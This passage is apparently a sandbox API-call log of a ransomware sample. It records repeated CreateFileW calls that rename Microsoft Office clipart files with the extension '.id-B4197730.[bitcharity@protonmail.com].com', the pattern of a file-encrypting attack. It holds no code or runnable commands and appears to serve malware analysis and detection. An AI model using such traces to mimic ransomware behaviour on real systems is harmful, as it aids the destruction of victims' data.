hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.991] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.992] CloseHandle (hObject=0x118c) returned 1 [0245.993] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.993] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.993] CloseHandle (hObject=0x118c) returned 1 [0245.995] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.996] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.996] CloseHandle (hObject=0x118c) returned 1 [0245.997] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.997] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.997] CloseHandle (hObject=0x118c) returned 1 [0245.998] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.998] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0245.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.999] CloseHandle (hObject=0x118c) returned 1 [0246.000] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.000] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.000] CloseHandle (hObject=0x118c) returned 1 [0246.002] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.002] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.002] CloseHandle (hObject=0x118c) returned 1 [0246.003] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.003] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.004] CloseHandle (hObject=0x118c) returned 1 [0246.005] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.005] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.006] CloseHandle (hObject=0x118c) returned 1 [0246.008] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.008] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.008] CloseHandle (hObject=0x118c) returned 1 [0246.009] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.009] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.009] CloseHandle (hObject=0x118c) returned 1 [0246.010] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.011] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.011] CloseHandle (hObject=0x118c) returned 1 [0246.278] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.278] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.278] CloseHandle (hObject=0x11cc) returned 1 [0246.378] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.378] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.378] CloseHandle (hObject=0x11cc) returned 1 [0246.379] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.379] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.380] CloseHandle (hObject=0x11cc) returned 1 [0246.380] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.380] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.381] CloseHandle (hObject=0x11cc) returned 1 [0246.382] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.382] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.382] CloseHandle (hObject=0x11cc) returned 1 [0246.383] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.383] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.383] CloseHandle (hObject=0x11cc) returned 1 [0246.384] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.384] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.384] CloseHandle (hObject=0x11cc) returned 1 [0246.385] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.385] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.385] CloseHandle (hObject=0x11cc) returned 1 [0246.387] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.387] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.387] CloseHandle (hObject=0x11cc) returned 1 [0246.388] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.388] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.389] CloseHandle (hObject=0x11cc) returned 1 [0246.390] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.390] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.390] CloseHandle (hObject=0x11cc) returned 1 [0246.391] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.391] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.391] CloseHandle (hObject=0x11cc) returned 1 [0246.392] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.392] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.393] CloseHandle (hObject=0x11cc) returned 1 [0246.393] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.393] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099148.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099148.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.394] CloseHandle (hObject=0x11cc) returned 1 [0246.395] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.395] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.395] CloseHandle (hObject=0x11cc) returned 1 [0246.396] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.396] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.397] CloseHandle (hObject=0x11cc) returned 1 [0246.398] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.398] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.398] CloseHandle (hObject=0x11cc) returned 1 [0246.399] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.399] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.399] CloseHandle (hObject=0x11cc) returned 1 [0246.400] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.400] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.401] CloseHandle (hObject=0x11cc) returned 1 [0246.402] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.402] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.402] CloseHandle (hObject=0x11cc) returned 1 [0246.404] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: 